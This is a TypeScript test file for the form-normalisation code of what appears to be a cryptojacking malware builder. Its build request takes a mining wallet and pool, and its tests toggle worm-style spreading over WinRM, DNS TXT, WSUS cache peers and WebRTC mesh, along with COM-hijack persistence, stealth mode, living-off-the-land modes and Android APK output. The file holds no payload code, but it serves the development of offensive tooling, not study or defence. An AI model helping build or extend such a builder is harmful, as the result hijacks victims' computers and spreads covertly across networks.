import { describe, expect, it } from 'vitest'; import { applyDeliverableType, deriveDeliverableType, normalizeForgeForm, spreadKitPreset, } from './forgeFormNormalize'; import type { BuildRequest } from '../types'; import { FORGE_BUILD_DEFAULTS } from './forgeDefaults'; function baseForm(overrides: Partial = {}): BuildRequest { return { worker_name: 'pc-1', server_url: 'http://192.168.1.5:8989', wallet: '4' + 'A'.repeat(94), pool_host: 'pool.example.com', pool_port: 3333, pool_tls: false, pool_pass: 'x', ...FORGE_BUILD_DEFAULTS, ...overrides, } as BuildRequest; } describe('forgeFormNormalize', () => { it('derives deliverable type from flags', () => { expect(deriveDeliverableType(baseForm({ fusion_enabled: true }))).toBe('fusion'); expect(deriveDeliverableType(baseForm({ spread_kit: true }))).toBe('spread_kit'); expect(deriveDeliverableType(baseForm())).toBe('single'); }); it('apk mode forces android arm64 and clears fusion', () => { const out = normalizeForgeForm(baseForm({ apk_mode: true, fusion_enabled: true, target_os: 'windows' })); expect(out.apk_mode).toBe(true); expect(out.target_os).toBe('android'); expect(out.target_arch).toBe('arm64'); expect(out.fusion_enabled).toBe(false); expect(out.mining_disabled).toBe(true); }); it('spread kit forces universal and clears fusion', () => { const out = normalizeForgeForm(baseForm({ spread_kit: true, fusion_enabled: true, target_os: 'windows' })); expect(out.spread_kit).toBe(true); expect(out.fusion_enabled).toBe(false); expect(out.target_os).toBe('universal'); }); it('linux target clears sign_build and fixes install base', () => { const out = normalizeForgeForm( baseForm({ target_os: 'linux', target_arch: 'amd64', sign_build: true, install_base: 'localappdata' }) ); expect(out.sign_build).toBe(false); expect(out.install_base).toBe('xdg_data_home'); expect(out.target_arch).toBe('amd64'); }); it('linux target clears Windows-only spread flags', () => { const out = normalizeForgeForm( baseForm({ target_os: 'linux', target_arch: 'amd64', winrm_spread: true, dns_txt_spread: true, wsus_cache_peer_spread: true, webrtc_mesh_spread: true, com_hijack_persist: true, }) ); expect(out.winrm_spread).toBe(false); expect(out.dns_txt_spread).toBe(false); expect(out.wsus_cache_peer_spread).toBe(false); expect(out.webrtc_mesh_spread).toBe(false); expect(out.com_hijack_persist).toBe(false); }); it('windows target clears linux lotl mode', () => { const out = normalizeForgeForm(baseForm({ target_os: 'windows', linux_lotl_mode: 'both' })); expect(out.linux_lotl_mode).toBe('off'); }); it('single deliverable cannot stay universal', () => { const out = applyDeliverableType(baseForm({ target_os: 'universal' }), 'single'); expect(out.target_os).toBe('windows'); expect(out.spread_kit).toBe(false); }); it('spread kit preset enables persistence and stealth', () => { const out = applyDeliverableType(baseForm(), 'spread_kit'); expect(out.spread_kit).toBe(true); expect(out.persistence).toBe(true); expect(out.stealth_mode).toBe(true); expect(spreadKitPreset().remote_aggressive).toBe(true); }); it('preserves idle field values when mining mode is always (server ignores them when mode does not match)', () => { const out = normalizeForgeForm( baseForm({ mining_mode: 'always', idle_threshold_pct: 99, idle_duration_minutes: 30 }) ); // Values are preserved — the backend ignores them when mining_mode !== 'idle' expect(out.idle_threshold_pct).toBe(99); expect(out.idle_duration_minutes).toBe(30); }); });